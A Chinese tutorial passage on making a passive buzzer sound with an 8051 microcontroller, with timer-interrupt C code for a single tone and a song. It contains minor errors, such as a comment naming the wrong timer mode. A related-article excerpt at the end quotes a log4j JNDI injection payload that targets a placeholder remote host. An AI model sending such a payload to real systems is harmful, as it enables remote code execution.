单片机之蜂鸣器

目录

蜂鸣器介绍

蜂鸣器的分类

发声原理分类

按有源无源分类

三极管驱动

蜂鸣器原理

音符与频率对照表

蜂鸣器播放130.8Hz的声音

仿真案例

蜂鸣器发声

电路图

keil文件

蜂鸣器播放音乐

歌曲数据获得

使用的频率

keil文件

蜂鸣器介绍

前言:蜂鸣器是一种常见的发声元器件,广泛应用于各种电子产品,用于警报或报警处理,家里的洗衣机、微波炉、闹钟、遥控车、计算器等都会用到蜂鸣器。

蜂鸣器的分类

发声原理分类

按有源无源分类

  • 有源蜂鸣器:内部自带震荡源,将正负极接上直流电压即可持续发声,频率固定。
  • 无源蜂鸣器:内部不带震荡源,需要控制器提供震荡脉冲才可发声,调整提供震荡脉冲的频率,可发出不同频率的声音(单片机使用的就是无源蜂鸣器)

注意:无源蜂鸣器不能一直给他通电,你必须给他交流电让他震荡他才能发声。

三极管驱动

前言:单片机的IO接口也是不足以驱动蜂鸣器,也需要外接一些驱动电路(蜂鸣器的功率稍微大些)。

注意:

  • 对于上面的电路中,该蜂鸣器使用的是电磁式蜂鸣器,采用5V供电。
  • 三极管驱动原理:利用了三极管的放大特性(类似外包)。
  • 蜂鸣器左边的为续流管,因为该蜂鸣器是一个电感型蜂鸣器,电感元件在电流发生变化时都会产生反向电动势来尽力的维持电流不变(该反向电动势不会立即消失),当电源断开时也会产生反向电动势,该续流管的作用就是构成反向电动势的回路来消耗掉这个反向电动势以保护三极管电路不被击穿(理解:上面电源推三家管,下面电感拉三极管会导致穿透)

蜂鸣器原理

前言:通过交流电使蜂鸣器震荡进而发出声音,不同频率波形使蜂鸣器的震荡频率不同,然而物体的震动形成声音,声音的音调取决于震荡的频率,因此我们只需要给出不同频率的波形(通过定时器形成)让蜂鸣器按照不同频率震荡,那么蜂鸣器就可发出不同调子的声音。

音符与频率对照表

注意:

  • 中音1就相当于钢琴的中央C。
  • 钢琴键盘上的每个声音频率满足12均分律(隔12个声音,频率变成2倍)

蜂鸣器播放130.8Hz的声音

30.8Hz表示每秒钟会震动130.8次,那么震动一次需要1/130.8=0.0076452s;因为单片机的单位为微秒,所以为7645微秒;因为7645us为整个周期的值,所以还需除以2得到3822.6us(3823us为正电平或负电平持续的时间,整个周期时长7645us);因此我们只需要通过定时器输出频率为7645微秒的方波即可。

仿真案例

蜂鸣器发声

需求:我们想要蜂鸣器发出C(频率130.8Hz)的调子

电路图

keil文件

#include "reg51.h"
sbit sound=P2^0;
void inittimer(){
	TMOD=0x01; //0000 0001——工作方式2
	TH0=(65536-3823)/256;
	TL0=(65536-3823)%256;
	ET0=1;
	EA=1;
	TR0=1;
	sound=0;
}
void main()
{
	inittimer();
	while(1);
}
void timer_isr() interrupt 1
{
	TH0=(65536-3823)/256;
	TL0=(65536-3823)%256;
	sound=~sound;
}

注意:也可以用延时函数,每隔一段时间电平值取反,那么周期就是两倍的延时时间。

蜂鸣器播放音乐

需求:使用蜂鸣器播放歌曲孤勇者。

歌曲数据获得

  • 音调:通过绘制不同频率的方波来实现。
  • 节拍:通过延时函数来实现。

注意:该图片为下面数组三位数的表现形式

使用的频率

电路图:和上面的电路图一样。

keil文件

#include "reg51.h"
sbit sound=P2^0;
unsigned int timer,index=0; //定时器初值,数据表索引
unsigned char beat,num; //节拍数,21音的计数
//每个数的3个位数代表了不同的意义(音高,音长,音符)
code unsigned char gequ[]={
	120,116,117,211,212,117,211,221,
	211,117,211,212,117,211,221,211,212,213,212,213,212,223,
	213,212,223,225,223,116,117,211,212,117,211,221,211,117,
	211,212,117,211,221,211,212,213,212,213,212,223,213,212,
	223,225,223,225,233,215,233,215,213,215,216,213,225,225,
	233,215,233,215,213,215,216,213,225,215,215,213,212,222,
	222,211,213,213,212,222,222,211,211,146,110,215,215,213,
	212,222,222,211,213,213,212,222,222,211,211,146,140,0};
//频率表
code unsigned int pinlv[]={
	466,523,587,659,698,784,880, //低音
	923,1047,1175,1319,1568,1760, //中音
	1865,2094,2351,2633,2792,3134,3517 //高音
};
//延时节拍数
void delay(unsigned char t){
	unsigned int i=0,j=0;
	for(i=t;i>0;i--){
		for(j=23000;j>0;j--);
	}
}
void play(){
	while(gequ[index]){ //声音索引为0就停止播放
		if(gequ[index]%10==0){ //若根据数据分离出来的音符是0表示不发声比如120
			TR0=0;
		}else{
			num=gequ[index]%10+(gequ[index]/100-1)*7-1; //根据数据索引计算频率索引
			timer=65535-(12000000/12)/(pinlv[num]*2); //根据频率计算初值
			TH0=timer/256;
			TL0=timer%256;
			TR0=1;
		}
		beat=gequ[index]/10%10;
		delay(beat); //延时的程序让你有足够的空间在特定的频率不断震荡,同时也起节拍的作用
		index++; //声音索引自动+1
	}
	TR0=0; //播放结束停止定时器
	index=0;	//播放结束声音数据索引清零
}
void main()
{
	sound=0;
	TMOD=0x01;
	EA=1;
	ET0=1;
	while(1){
		//不断播放音乐,单曲循环
		play();
	}
}
void timer0() interrupt 1
{
	TH0=timer/256;
	TL0=timer%256;
	sound=~sound;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/519823.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【洛谷 P8655】[蓝桥杯 2017 国 B] 发现环 题解(邻接表+并查集+路径压缩)

[蓝桥杯 2017 国 B] 发现环 题目描述 小明的实验室有 N N N 台电脑,编号 1 ∼ N 1 \sim N 1∼N。原本这 N N N 台电脑之间有 N − 1 N-1 N−1 条数据链接相连,恰好构成一个树形网络。在树形网络上,任意两台电脑之间有唯一的路径相连。 …

深入理解Java异常处理机制(day20)

异常处理 异常处理是程序运行过程产生的异常情况进行恰当的处理技术 在计算机编程里面,异常的情况比所我们所想的异常情况还要多。 Java里面有两种异常处理方式; 1.利用trycatchfinaly语句处理异常,优点是分开了处理异常代码和程序正常代码…

如何在Ubuntu系统使用Nextcloud+Cpolar搭建可公网访问私人专属网盘

文章目录 1. 安装Docker2. 使用Docker拉取Nextcloud镜像3. 创建并启动Nextcloud容器4. 本地连接测试5. 公网远程访问本地Nextcloud容器5.1 内网穿透工具安装5.2 创建远程连接公网地址5.3 使用固定公网地址远程访问 正文开始前给大家推荐个网站,前些天发现了一个巨牛…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞,导致攻击者可以控制日志内容的情况下,传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入,执行远程命令。 JNDI: 命名和目录接口,…

C盘清理指南

1,临时文件清理 %TEMP%是Windows系统临时文件的环境变量,直接作为指令执行可以打开当前系统的临时文件夹。许多用户通过删除该文件夹中的文件来清理Windows的临时文件,但实际上这样清理并不彻底,我们可以有更轻松、安全的方法。风…

【SCI绘图】【曲线图系列2 python】多类别标签对比的曲线图

SCI,CCF,EI及核心期刊绘图宝典,爆款持续更新,助力科研! 本期分享: 【SCI绘图】【曲线图系列2 python】多类别标签对比的曲线图,文末附完整代码。 1.环境准备 python 3 import proplot as pp…

Java流操作解析:深度剖析中间操作、终端操作与并行处理机制

文章目录 一、中间操作1.1 过滤(filter)1.2 映射(map)1.3 排序(sorted)1.4 去重(distinct) 二、 终端操作2.1 收集(collect)2.2 计数(count&#…

leetcode热题100.跳跃游戏2

Problem: 45. 跳跃游戏 II 文章目录 题目思路复杂度Code 题目 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说,如果你在 nums[i] 处,你可以跳转到任意 nums[i j] 处: …

leetcode.24. 两两交换链表中的节点

题目 给定一个链表,两两交换其中相邻的节点,并返回交换后的链表。 你不能只是单纯的改变节点内部的值,而是需要实际的进行节点交换。 思路 创建虚拟头节点,画图,确认步骤。 实现 /*** Definition for singly-li…

C++运算符重载如何模拟数学表达式,或模拟Python sympy和numpy

在人工智能数学基础一书中,下面是一题Python求函数极限的例子: 【例2.6】使用Python编程求 lim( x → 1) (x^2 - 1 / x - 1) ————————————————————————————————————————— import sympy from sympy import oo…

详细剖析多线程3----代码案例分析

文章目录 一、单例模式(校招中最常考的设计模式之⼀)1.1饿汉模式1.2懒汉模式 二、阻塞队列三、定时器四、线程池五、总结 一、单例模式(校招中最常考的设计模式之⼀) 单例模式是一种设计模式,其核心思想是保证一个类只有一个实例,并提供一个全局访问点来…

Three.js阴影贴图

生成阴影贴图的步骤如下: 从光位置视点(阴影相机)创建深度图。从相机的角度进行屏幕渲染在每个像素点,将阴影相机的MVP矩阵计算出的深度值与深度图值进行比较如果深度图值较低,则说明该像素点存在阴影 ,因…

html5如何在使用原生开发的情况下实现组件化

我们知道如何在vue/react中使用组件化开发,那么如果只是一个简单的界面,一个HTML就搞定的事情,你还会去新建一个vue/react项目吗? 在使用原生HTML开发时,我们也会遇到一些常见的功能、模块,那么如何在原生…

【APUE】网络socket编程温度采集智能存储与上报项目技术------多路复用

作者简介: 一个平凡而乐于分享的小比特,中南民族大学通信工程专业研究生在读,研究方向无线联邦学习 擅长领域:驱动开发,嵌入式软件开发,BSP开发 作者主页:一个平凡而乐于分享的小比特的个人主页…

无锡国家集成电路设计中心某公司的单锂小电机直流电机H桥驱动电路

H桥驱动 L9110S是一款直流电机驱动电路,适合单节锂电池应用。输出电流0.4A。价格约3毛。 推荐原因: 某些人应该知道这个地方,大多数人应该不知道这个地方,所以推荐一下。 这个地方去过几次,某公司与某方走的“近”&…

在同一个局域网如何共享打印机和文件

1.在连接了打印机的主机上设置 1.1启用windows共享 打开网络与共享中心,点击“更改高级共享设置” 选择: “启用网络发现”“启用文件和打印机共享”“启用共享以便可以访问网络的用户可以读取和写入公用文件夹中的文件” 打开控制面板,选…

C#将Console写至文件,且文件固定最大长度

参考文章 将C#的Console.Write同步到控制台和log文件输出 业务需求 在生产环境中,控制台窗口不便展示出来。 为了在生产环境中,完整记录控制台应用的输出,选择将其输出到文件中。 但是,一次性存储所有输出的话,文件会…

NASA数据集——加拿大西北地区(NWT)2014 年被野火烧毁的北方森林的实地数据

ABoVE: Characterization of Carbon Dynamics in Burned Forest Plots, NWT, Canada, 2014 简介 文件修订日期:2019-04-12 数据集版本: 1 摘要 该数据集提供了加拿大西北地区(NWT)2014 年被野火烧毁的北方森林的实地数据。在 2015 年的实…

(学习日记)2024.04.03:UCOSIII第三十一节:信号量函数接口讲解

写在前面: 由于时间的不足与学习的碎片化,写博客变得有些奢侈。 但是对于记录学习(忘了以后能快速复习)的渴望一天天变得强烈。 既然如此 不如以天为单位,以时间为顺序,仅仅将博客当做一个知识学习的目录&a…

Linux (Ubuntu)- mysql8 部署

目录 1.基本部署 2.修改密码 3.开启root可远程连接配置 1.基本部署 01》》先查看OS类型,如果是Ubuntu在往下边看 rootspray:/etc/mysql/mysql.conf.d# lsb_release -a LSB Version: core-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch Distributor ID: …